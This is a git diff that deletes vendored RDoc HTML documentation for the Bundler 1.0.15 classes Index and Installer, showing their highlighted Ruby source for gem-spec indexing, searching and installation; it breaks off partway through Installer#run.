diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/Index.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/Index.html
deleted file mode 100644
index 8bf92678..00000000
--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/Index.html
+++ /dev/null
@@ -1,1020 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-	"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
-
-	<title>Class: Bundler::Index</title>
-
-	<link rel="stylesheet" href="../rdoc.css" type="text/css" media="screen" />
-
-	<script src="../js/jquery.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../js/thickbox-compressed.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../js/quicksearch.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../js/darkfish.js" type="text/javascript"
-		charset="utf-8"></script>
-
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-					<li><a href="#method-c-build">::build</a></li>
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-					
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-					
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-					
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-					
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-		<h1 class="class">Bundler::Index</h1>
-
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-			
-		</div>
-
-		<!-- Constants -->
-		
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-		<!-- Attributes -->
-		
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-			<h3 class="section-header">Attributes</h3>
-
-			
-			<div id="specs-attribute-method" class="method-detail">
-				<a name="specs"></a>
-				
-				<div class="method-heading attribute-method-heading">
-					<span class="method-name">specs</span><span
-						class="attribute-access-type">[R]</span>
-				</div>
-
-				<div class="method-description">
-				
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-		
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-			<h3 class="section-header">Public Class Methods</h3>
-
-		
-			<div id="build-method" class="method-detail ">
-				<a name="method-c-build"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">build</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
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-					<div class="method-source-code"
-						id="build-source">
-<pre>
-   <span class="ruby-comment cmt"># File lib/bundler/index.rb, line 5</span>
-5:     <span class="ruby-keyword kw">def</span> <span class="ruby-keyword kw">self</span>.<span class="ruby-identifier">build</span>
-6:       <span class="ruby-identifier">i</span> = <span class="ruby-identifier">new</span>
-7:       <span class="ruby-keyword kw">yield</span> <span class="ruby-identifier">i</span>
-8:       <span class="ruby-identifier">i</span>
-9:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
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-			</div>
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-		
-			<div id="new-method" class="method-detail ">
-				<a name="method-c-new"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">new</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="new-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/index.rb, line 14</span>
-14:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">initialize</span>
-15:       <span class="ruby-ivar">@cache</span> = {}
-16:       <span class="ruby-ivar">@specs</span> = <span class="ruby-constant">Hash</span>.<span class="ruby-identifier">new</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">h</span>,<span class="ruby-identifier">k</span><span class="ruby-operator">|</span> <span class="ruby-identifier">h</span>[<span class="ruby-identifier">k</span>] = [] }
-17:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-		</div>
-	
-		<div id="public-instance-method-details" class="method-section section">
-			<h3 class="section-header">Public Instance Methods</h3>
-
-		
-			<div id="--method" class="method-detail ">
-				<a name="method-i-%3C%3C"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">&lt;&lt;</span><span
-						class="method-args">(spec)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="--source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/index.rb, line 64</span>
-64:     <span class="ruby-keyword kw">def</span> <span class="ruby-operator">&lt;&lt;</span>(<span class="ruby-identifier">spec</span>)
-65:       <span class="ruby-identifier">arr</span> = <span class="ruby-ivar">@specs</span>[<span class="ruby-identifier">spec</span>.<span class="ruby-identifier">name</span>]
-66: 
-67:       <span class="ruby-identifier">arr</span>.<span class="ruby-identifier">delete_if</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">s</span><span class="ruby-operator">|</span>
-68:         <span class="ruby-identifier">same_version?</span>(<span class="ruby-identifier">s</span>.<span class="ruby-identifier">version</span>, <span class="ruby-identifier">spec</span>.<span class="ruby-identifier">version</span>) <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-identifier">s</span>.<span class="ruby-identifier">platform</span> <span class="ruby-operator">==</span> <span class="ruby-identifier">spec</span>.<span class="ruby-identifier">platform</span>
-69:       <span class="ruby-keyword kw">end</span>
-70: 
-71:       <span class="ruby-identifier">arr</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-identifier">spec</span>
-72:       <span class="ruby-identifier">spec</span>
-73:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
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-				<a name="method-i-%3D%3D"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">==</span><span
-						class="method-args">(o)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
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-					<div class="method-source-code"
-						id="--source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/index.rb, line 90</span>
-90:     <span class="ruby-keyword kw">def</span> <span class="ruby-operator">==</span>(<span class="ruby-identifier">o</span>)
-91:       <span class="ruby-identifier">all?</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">s</span><span class="ruby-operator">|</span>
-92:         <span class="ruby-identifier">s2</span> = <span class="ruby-identifier">o</span>[<span class="ruby-identifier">s</span>].<span class="ruby-identifier">first</span> <span class="ruby-keyword kw">and</span> (<span class="ruby-identifier">s</span>.<span class="ruby-identifier">dependencies</span> &amp; <span class="ruby-identifier">s2</span>.<span class="ruby-identifier">dependencies</span>).<span class="ruby-identifier">empty?</span>
-93:       <span class="ruby-keyword kw">end</span>
-94:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
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-		
-			<div id="--method" class="method-detail method-alias">
-				<a name="method-i-%5B%5D"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">[]</span><span
-						class="method-args">(query)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
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-				<div class="method-description">
-					
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-				<div class="aliases">
-          Alias for: <a href="Index.html#method-i-search">search</a>
-				</div>
-				
-			</div>
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-		
-			<div id="each-method" class="method-detail ">
-				<a name="method-i-each"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">each</span><span
-						class="method-args">(&blk)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
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-					<div class="method-source-code"
-						id="each-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/index.rb, line 75</span>
-75:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">each</span>(&amp;<span class="ruby-identifier">blk</span>)
-76:       <span class="ruby-ivar">@specs</span>.<span class="ruby-identifier">values</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">specs</span><span class="ruby-operator">|</span>
-77:         <span class="ruby-identifier">specs</span>.<span class="ruby-identifier">each</span>(&amp;<span class="ruby-identifier">blk</span>)
-78:       <span class="ruby-keyword kw">end</span>
-79:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="empty--method" class="method-detail ">
-				<a name="method-i-empty%3F"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">empty?</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="empty--source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/index.rb, line 29</span>
-29:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">empty?</span>
-30:       <span class="ruby-identifier">each</span> { <span class="ruby-keyword kw">return</span> <span class="ruby-keyword kw">false</span> }
-31:       <span class="ruby-keyword kw">true</span>
-32:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="initialize-copy-method" class="method-detail ">
-				<a name="method-i-initialize_copy"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">initialize_copy</span><span
-						class="method-args">(o)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="initialize-copy-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/index.rb, line 19</span>
-19:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">initialize_copy</span>(<span class="ruby-identifier">o</span>)
-20:       <span class="ruby-keyword kw">super</span>
-21:       <span class="ruby-ivar">@cache</span> = {}
-22:       <span class="ruby-ivar">@specs</span> = <span class="ruby-constant">Hash</span>.<span class="ruby-identifier">new</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">h</span>,<span class="ruby-identifier">k</span><span class="ruby-operator">|</span> <span class="ruby-identifier">h</span>[<span class="ruby-identifier">k</span>] = [] }
-23: 
-24:       <span class="ruby-identifier">o</span>.<span class="ruby-identifier">specs</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">name</span>, <span class="ruby-identifier">array</span><span class="ruby-operator">|</span>
-25:         <span class="ruby-ivar">@specs</span>[<span class="ruby-identifier">name</span>] = <span class="ruby-identifier">array</span>.<span class="ruby-identifier">dup</span>
-26:       <span class="ruby-keyword kw">end</span>
-27:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="search-method" class="method-detail ">
-				<a name="method-i-search"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">search</span><span
-						class="method-args">(query)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="search-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/index.rb, line 34</span>
-34:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">search</span>(<span class="ruby-identifier">query</span>)
-35:       <span class="ruby-keyword kw">case</span> <span class="ruby-identifier">query</span>
-36:       <span class="ruby-keyword kw">when</span> <span class="ruby-constant">Gem</span><span class="ruby-operator">::</span><span class="ruby-constant">Specification</span>, <span class="ruby-constant">RemoteSpecification</span>, <span class="ruby-constant">LazySpecification</span> <span class="ruby-keyword kw">then</span> <span class="ruby-identifier">search_by_spec</span>(<span class="ruby-identifier">query</span>)
-37:       <span class="ruby-keyword kw">when</span> <span class="ruby-constant">String</span> <span class="ruby-keyword kw">then</span> <span class="ruby-ivar">@specs</span>[<span class="ruby-identifier">query</span>]
-38:       <span class="ruby-keyword kw">else</span> <span class="ruby-identifier">search_by_dependency</span>(<span class="ruby-identifier">query</span>)
-39:       <span class="ruby-keyword kw">end</span>
-40:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-				<div class="aliases">
-					Also aliased as: <a href="Index.html#method-i-%5B%5D">[]</a>
-				</div>
-				
-
-				
-			</div>
-
-		
-			<div id="search-for-all-platforms-method" class="method-detail ">
-				<a name="method-i-search_for_all_platforms"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">search_for_all_platforms</span><span
-						class="method-args">(dependency, base = [])</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="search-for-all-platforms-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/index.rb, line 42</span>
-42:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">search_for_all_platforms</span>(<span class="ruby-identifier">dependency</span>, <span class="ruby-identifier">base</span> = [])
-43:       <span class="ruby-identifier">specs</span> = <span class="ruby-ivar">@specs</span>[<span class="ruby-identifier">dependency</span>.<span class="ruby-identifier">name</span>] <span class="ruby-operator">+</span> <span class="ruby-identifier">base</span>
-44: 
-45:       <span class="ruby-identifier">wants_prerelease</span> = <span class="ruby-identifier">dependency</span>.<span class="ruby-identifier">requirement</span>.<span class="ruby-identifier">prerelease?</span>
-46:       <span class="ruby-identifier">only_prerelease</span>  = <span class="ruby-identifier">specs</span>.<span class="ruby-identifier">all?</span> {<span class="ruby-operator">|</span><span class="ruby-identifier">spec</span><span class="ruby-operator">|</span> <span class="ruby-identifier">spec</span>.<span class="ruby-identifier">version</span>.<span class="ruby-identifier">prerelease?</span> }
-47:       <span class="ruby-identifier">found</span> = <span class="ruby-identifier">specs</span>.<span class="ruby-identifier">select</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">spec</span><span class="ruby-operator">|</span> <span class="ruby-identifier">dependency</span>.<span class="ruby-identifier">matches_spec?</span>(<span class="ruby-identifier">spec</span>) }
-48: 
-49:       <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">wants_prerelease</span> <span class="ruby-operator">||</span> <span class="ruby-identifier">only_prerelease</span>
-50:         <span class="ruby-identifier">found</span>.<span class="ruby-identifier">reject!</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">spec</span><span class="ruby-operator">|</span> <span class="ruby-identifier">spec</span>.<span class="ruby-identifier">version</span>.<span class="ruby-identifier">prerelease?</span> }
-51:       <span class="ruby-keyword kw">end</span>
-52: 
-53:       <span class="ruby-identifier">found</span>.<span class="ruby-identifier">sort_by</span> {<span class="ruby-operator">|</span><span class="ruby-identifier">s</span><span class="ruby-operator">|</span> [<span class="ruby-identifier">s</span>.<span class="ruby-identifier">version</span>, <span class="ruby-identifier">s</span>.<span class="ruby-identifier">platform</span>.<span class="ruby-identifier">to_s</span> <span class="ruby-operator">==</span> <span class="ruby-value str">'ruby'</span> <span class="ruby-operator">?</span> <span class="ruby-value str">&quot;\00&quot;&quot;</span> <span class="ruby-operator">:</span> <span class="ruby-identifier">s</span>.<span class="ruby-identifier">platform</span>.<span class="ruby-identifier">to_s</span>] }
-54:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="sources-method" class="method-detail ">
-				<a name="method-i-sources"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">sources</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="sources-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/index.rb, line 56</span>
-56:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">sources</span>
-57:       <span class="ruby-ivar">@specs</span>.<span class="ruby-identifier">values</span>.<span class="ruby-identifier">map</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">specs</span><span class="ruby-operator">|</span>
-58:         <span class="ruby-identifier">specs</span>.<span class="ruby-identifier">map</span>{<span class="ruby-operator">|</span><span class="ruby-identifier">s</span><span class="ruby-operator">|</span> <span class="ruby-identifier">s</span>.<span class="ruby-identifier">source</span>.<span class="ruby-identifier">class</span> }
-59:       <span class="ruby-keyword kw">end</span>.<span class="ruby-identifier">flatten</span>.<span class="ruby-identifier">uniq</span>
-60:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="use-method" class="method-detail ">
-				<a name="method-i-use"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">use</span><span
-						class="method-args">(other)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="use-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/index.rb, line 81</span>
-81:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">use</span>(<span class="ruby-identifier">other</span>)
-82:       <span class="ruby-keyword kw">return</span> <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">other</span>
-83:       <span class="ruby-identifier">other</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">s</span><span class="ruby-operator">|</span>
-84:         <span class="ruby-keyword kw">next</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">search_by_spec</span>(<span class="ruby-identifier">s</span>).<span class="ruby-identifier">any?</span>
-85:         <span class="ruby-ivar">@specs</span>[<span class="ruby-identifier">s</span>.<span class="ruby-identifier">name</span>] <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-identifier">s</span>
-86:       <span class="ruby-keyword kw">end</span>
-87:       <span class="ruby-keyword kw">self</span>
-88:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-		</div>
-	
-		<div id="private-instance-method-details" class="method-section section">
-			<h3 class="section-header">Private Instance Methods</h3>
-
-		
-			<div id="same-version--method" class="method-detail ">
-				<a name="method-i-same_version%3F"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">same_version?</span><span
-						class="method-args">(a, b)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="same-version--source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/index.rb, line 104</span>
-104:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">same_version?</span>(<span class="ruby-identifier">a</span>, <span class="ruby-identifier">b</span>)
-105:       <span class="ruby-identifier">regex</span> = <span class="ruby-regexp re">/^(.*?)(?:\.0)*$/</span>
-106: 
-107:       <span class="ruby-identifier">a</span>.<span class="ruby-identifier">to_s</span>[<span class="ruby-identifier">regex</span>, <span class="ruby-value">1</span>] <span class="ruby-operator">==</span> <span class="ruby-identifier">b</span>.<span class="ruby-identifier">to_s</span>[<span class="ruby-identifier">regex</span>, <span class="ruby-value">1</span>]
-108:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="search-by-dependency-method" class="method-detail ">
-				<a name="method-i-search_by_dependency"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">search_by_dependency</span><span
-						class="method-args">(dependency)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="search-by-dependency-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/index.rb, line 115</span>
-115:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">search_by_dependency</span>(<span class="ruby-identifier">dependency</span>)
-116:       <span class="ruby-ivar">@cache</span>[<span class="ruby-identifier">dependency</span>.<span class="ruby-identifier">hash</span>] <span class="ruby-operator">||=</span> <span class="ruby-keyword kw">begin</span>
-117:         <span class="ruby-identifier">specs</span> = <span class="ruby-ivar">@specs</span>[<span class="ruby-identifier">dependency</span>.<span class="ruby-identifier">name</span>]
-118:         <span class="ruby-identifier">found</span> = <span class="ruby-identifier">specs</span>.<span class="ruby-identifier">select</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">spec</span><span class="ruby-operator">|</span> <span class="ruby-identifier">dependency</span>.<span class="ruby-identifier">matches_spec?</span>(<span class="ruby-identifier">spec</span>) <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-constant">Gem</span><span class="ruby-operator">::</span><span class="ruby-constant">Platform</span>.<span class="ruby-identifier">match</span>(<span class="ruby-identifier">spec</span>.<span class="ruby-identifier">platform</span>) }
-119: 
-120:         <span class="ruby-identifier">wants_prerelease</span> = <span class="ruby-identifier">dependency</span>.<span class="ruby-identifier">requirement</span>.<span class="ruby-identifier">prerelease?</span>
-121:         <span class="ruby-identifier">only_prerelease</span>  = <span class="ruby-identifier">specs</span>.<span class="ruby-identifier">all?</span> {<span class="ruby-operator">|</span><span class="ruby-identifier">spec</span><span class="ruby-operator">|</span> <span class="ruby-identifier">spec</span>.<span class="ruby-identifier">version</span>.<span class="ruby-identifier">prerelease?</span> }
-122:         <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">wants_prerelease</span> <span class="ruby-operator">||</span> <span class="ruby-identifier">only_prerelease</span>
-123:           <span class="ruby-identifier">found</span>.<span class="ruby-identifier">reject!</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">spec</span><span class="ruby-operator">|</span> <span class="ruby-identifier">spec</span>.<span class="ruby-identifier">version</span>.<span class="ruby-identifier">prerelease?</span> }
-124:         <span class="ruby-keyword kw">end</span>
-125: 
-126:         <span class="ruby-identifier">found</span>.<span class="ruby-identifier">sort_by</span> {<span class="ruby-operator">|</span><span class="ruby-identifier">s</span><span class="ruby-operator">|</span> [<span class="ruby-identifier">s</span>.<span class="ruby-identifier">version</span>, <span class="ruby-identifier">s</span>.<span class="ruby-identifier">platform</span>.<span class="ruby-identifier">to_s</span> <span class="ruby-operator">==</span> <span class="ruby-value str">'ruby'</span> <span class="ruby-operator">?</span> <span class="ruby-value str">&quot;\00&quot;&quot;</span> <span class="ruby-operator">:</span> <span class="ruby-identifier">s</span>.<span class="ruby-identifier">platform</span>.<span class="ruby-identifier">to_s</span>] }
-127:       <span class="ruby-keyword kw">end</span>
-128:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="search-by-spec-method" class="method-detail ">
-				<a name="method-i-search_by_spec"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">search_by_spec</span><span
-						class="method-args">(spec)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="search-by-spec-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/index.rb, line 98</span>
- 98:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">search_by_spec</span>(<span class="ruby-identifier">spec</span>)
- 99:       <span class="ruby-ivar">@specs</span>[<span class="ruby-identifier">spec</span>.<span class="ruby-identifier">name</span>].<span class="ruby-identifier">select</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">s</span><span class="ruby-operator">|</span>
-100:         <span class="ruby-identifier">same_version?</span>(<span class="ruby-identifier">s</span>.<span class="ruby-identifier">version</span>, <span class="ruby-identifier">spec</span>.<span class="ruby-identifier">version</span>) <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-constant">Gem</span><span class="ruby-operator">::</span><span class="ruby-constant">Platform</span>.<span class="ruby-identifier">new</span>(<span class="ruby-identifier">s</span>.<span class="ruby-identifier">platform</span>) <span class="ruby-operator">==</span> <span class="ruby-constant">Gem</span><span class="ruby-operator">::</span><span class="ruby-constant">Platform</span>.<span class="ruby-identifier">new</span>(<span class="ruby-identifier">spec</span>.<span class="ruby-identifier">platform</span>)
-101:       <span class="ruby-keyword kw">end</span>
-102:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="spec-satisfies-dependency--method" class="method-detail ">
-				<a name="method-i-spec_satisfies_dependency%3F"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">spec_satisfies_dependency?</span><span
-						class="method-args">(spec, dep)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="spec-satisfies-dependency--source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/index.rb, line 110</span>
-110:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">spec_satisfies_dependency?</span>(<span class="ruby-identifier">spec</span>, <span class="ruby-identifier">dep</span>)
-111:       <span class="ruby-keyword kw">return</span> <span class="ruby-keyword kw">false</span> <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">dep</span>.<span class="ruby-identifier">name</span> <span class="ruby-operator">===</span> <span class="ruby-identifier">spec</span>.<span class="ruby-identifier">name</span>
-112:       <span class="ruby-identifier">dep</span>.<span class="ruby-identifier">requirement</span>.<span class="ruby-identifier">satisfied_by?</span>(<span class="ruby-identifier">spec</span>.<span class="ruby-identifier">version</span>)
-113:     <span class="ruby-keyword kw">end</span></pre>
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-		<p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
-		<p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
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-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
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-			<div id="install-method" class="method-detail ">
-				<a name="method-c-install"></a>
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-				<div class="method-heading">
-				
-					<span class="method-name">install</span><span
-						class="method-args">(root, definition, options = {})</span>
-					<span class="method-click-advice">click to toggle source</span>
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-						id="install-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/installer.rb, line 6</span>
- 6:     <span class="ruby-keyword kw">def</span> <span class="ruby-keyword kw">self</span>.<span class="ruby-identifier">install</span>(<span class="ruby-identifier">root</span>, <span class="ruby-identifier">definition</span>, <span class="ruby-identifier">options</span> = {})
- 7:       <span class="ruby-identifier">installer</span> = <span class="ruby-identifier">new</span>(<span class="ruby-identifier">root</span>, <span class="ruby-identifier">definition</span>)
- 8:       <span class="ruby-identifier">installer</span>.<span class="ruby-identifier">run</span>(<span class="ruby-identifier">options</span>)
- 9:       <span class="ruby-identifier">installer</span>
-10:     <span class="ruby-keyword kw">end</span></pre>
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-			<h3 class="section-header">Public Instance Methods</h3>
-
-		
-			<div id="run-method" class="method-detail ">
-				<a name="method-i-run"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">run</span><span
-						class="method-args">(options)</span>
-					<span class="method-click-advice">click to toggle source</span>
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-						id="run-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/installer.rb, line 12</span>
-12:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">run</span>(<span class="ruby-identifier">options</span>)
-13:       <span class="ruby-comment cmt"># Create the BUNDLE_PATH directory</span>
-14:       <span class="ruby-keyword kw">begin</span>
-15:         <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">bundle_path</span>.<span class="ruby-identifier">mkpath</span> <span class="ruby-keyword kw">unless</span> <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">bundle_path</span>.<span class="ruby-identifier">exist?</span>
-16:       <span class="ruby-keyword kw">rescue</span> <span class="ruby-constant">Errno</span><span class="ruby-operator">::</span><span class="ruby-constant">EEXIST</span>
-17:         <span class="ruby-identifier">raise</span> <span class="ruby-constant">PathError</span>, <span class="ruby-node">&quot;Could not install to path `#{Bundler.settings[:path]}` &quot;</span> <span class="ruby-operator">+</span>
-18:           <span class="ruby-value str">&quot;because of an invalid symlink. Remove the symlink so the directory can be created.&quot;</span>
-19:       <span class="ruby-keyword kw">end</span>
-20: 
-21:       <span class="ruby-keyword kw">if</span> <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">settings</span>[<span class="ruby-value">:frozen</span>]
-22:         <span class="ruby-ivar">@definition</span>.<span class="ruby-identifier">ensure_equivalent_gemfile_and_lockfile</span>(<span class="ruby-identifier">options</span>[<span class="ruby-value">:deployment</span>])
-23:       <span class="ruby-keyword kw">end</span>
-24: 
-25:       <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">dependencies</span>.<span class="ruby-identifier">empty?</span>
-26:         <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">warn</span> <span class="ruby-value str">&quot;The Gemfile specifies no dependencies&quot;</span>
-27:         <span class="ruby-keyword kw">return</span>
-28:       <span class="ruby-keyword kw">end</span>
-29: 
-30:       <span class="ruby-keyword kw">if</span> <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">default_lockfile</span>.<span class="ruby-identifier">exist?</span> <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-operator">!</span><span class="ruby-identifier">options</span>[<span class="ruby-value str">&quot;update&quot;</span>]
-31:         <span class="ruby-keyword kw">begin</span>
-32:           <span class="ruby-identifier">tmpdef</span> = <span class="ruby-constant">Definition</span>.<span class="ruby-identifier">build</span>(<span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">default_gemfile</span>, <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">default_lockfile</span>, <span class="ruby-keyword kw">nil</span>)
-33:           <span class="ruby-identifier">local</span> = <span class="ruby-keyword kw">true</span> <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">tmpdef</span>.<span class="ruby-identifier">new_platform?</span> <span class="ruby-operator">||</span> <span class="ruby-identifier">tmpdef</span>.<span class="ruby-identifier">missing_specs</span>.<span class="ruby-identifier">any?</span>
-34:         <span class="ruby-keyword kw">rescue</span> <span class="ruby-constant">BundlerError</span>
-35:         <span class="ruby-keyword kw">end</span>
-36:       <span class="ruby-keyword kw">end</span>
-37: 
-38:       <span class="ruby-comment cmt"># Since we are installing, we can resolve the definition</span>
-39:       <span class="ruby-comment cmt"># using remote specs</span>
-40:       <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">local</span>
